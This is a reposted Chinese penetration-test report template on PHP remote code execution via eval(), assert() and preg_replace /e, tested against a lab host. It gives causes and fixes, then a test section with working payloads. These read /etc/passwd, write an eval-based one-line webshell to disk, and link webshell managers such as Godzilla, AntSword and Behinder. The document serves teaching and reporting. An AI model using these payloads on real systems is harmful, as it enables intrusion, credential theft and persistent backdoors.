漏洞报告模版 - 远程代码执行漏洞

admin 2022年4月19日11:37:46安全闲碎评论17 views2363字阅读7分52秒阅读模式

1.远程代码执行漏洞

漏洞名称

远程代码执行漏洞

漏洞地址

http://10.211.55.2/eval.php?data=phpinfo()
http://10.211.55.2/eval.php?data=1;phpinfo()
http://10.211.55.2/eval.php?data=$%7bphpinfo()%7d

漏洞等级

超危

漏洞描述

用户通过浏览器提交执行命令,由于服务端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。

漏洞成因

服务端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令。

在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

由于开发人员编写源码,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务端执行。命令注入攻击中WEB服务器没有过滤类似system()eval()exec()assert()preg replace() + /e 模式等函数是该漏洞攻击成功的最主要原因。

漏洞危害

允许攻击者通过改变$PATH或程序执行环境的其他方面来执行一个恶意构造的代码。

修复方案

通用方案

1.使用低权限用户执行应用程序。2.升级组件到最新版本。3.配置或代码过滤危险函数,例如eval()assert()preg replace()+/e模式等。

PHP

1.对于eval()assert()函数一定要保证用户不能轻易接触eval()assert()的参数或者用正则严格判断输入的数据格式。2.对于字符串一定要使用单引号包裹可控代码,并且插入前进行addslashes。3.对于preg replace()放弃使用/e修饰符。如果必须要用/e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹。

测试过程

http://10.211.55.2/eval.php

漏洞报告模版 - 远程代码执行漏洞
image-20211223220751280
http://10.211.55.2/eval.php?data=phpinfo()
http://10.211.55.2/eval.php?data=1;phpinfo()
http://10.211.55.2/eval.php?data=${phpinfo()}
漏洞报告模版 - 远程代码执行漏洞
image-20211223220836338

http://10.211.55.2/eval.php

漏洞报告模版 - 远程代码执行漏洞
image-20211223220906644
http://10.211.55.2/eval.php?data=1%27);phpinfo();//
漏洞报告模版 - 远程代码执行漏洞
image-20211223220938094

http://10.211.55.2/eval.php

漏洞报告模版 - 远程代码执行漏洞
image-20211223221007447
http://10.211.55.2/eval.php?data=${phpinfo()}
http://10.211.55.2/eval.php?data=%22);phpinfo();//
漏洞报告模版 - 远程代码执行漏洞
image-20211223221043772

http://10.211.55.2/preg_replace.php

漏洞报告模版 - 远程代码执行漏洞
image-20211223221142801
http://10.211.55.2/preg_replace.php?data=%3Cdata%3E${phpinfo()}%3C/data%3E
漏洞报告模版 - 远程代码执行漏洞
image-20211223221219127
http://10.211.55.2/[email protected]eval($_POST[1])

一句话木马

漏洞报告模版 - 远程代码执行漏洞
image-20211223221251294
http://10.211.55.2/eval.php?data=print(getcwd())

获取当前工作路径

漏洞报告模版 - 远程代码执行漏洞
image-20211223221324119
http://10.211.55.2/eval.php?data=var_dump(file_get_contents($_GET[f]))&f=/etc/passwd
漏洞报告模版 - 远程代码执行漏洞
image-20211223221354651
http://10.211.55.2/eval.php?data=var_dump(file_put_contents($_GET[f],$_GET[d]))&f=1.php&d=%3C?php%[email protected]eval($_POST[1]);
漏洞报告模版 - 远程代码执行漏洞
image-20211223221856623

哥斯拉

https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla

漏洞报告模版 - 远程代码执行漏洞
image-20211223221947330

蚁剑

https://github.com/AntSwordProject/AntSword-Loader/releases/tag/4.0.3

https://github.com/AntSwordProject/antSword

漏洞报告模版 - 远程代码执行漏洞
image-20211223222130936

圈子菜刀

漏洞报告模版 - 远程代码执行漏洞
image-20211223222154739

冰蝎

https://github.com/rebeyond/Behinder/releases/tag/Behinder_v3.0_Beta_11

漏洞报告模版 - 远程代码执行漏洞
image-20211223222232898

天蝎

漏洞报告模版 - 远程代码执行漏洞
image-20211223222252404

复测情况

已修复

测试人员

南风向晚

粉丝主动打赏看这里


漏洞报告模版 - 远程代码执行漏洞


全系列共105篇,持续更新中


原文始发于微信公众号(利刃藏锋):远程代码执行漏洞

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月19日11:37:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  漏洞报告模版 - 远程代码执行漏洞 http://cn-sec.com/archives/926214.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: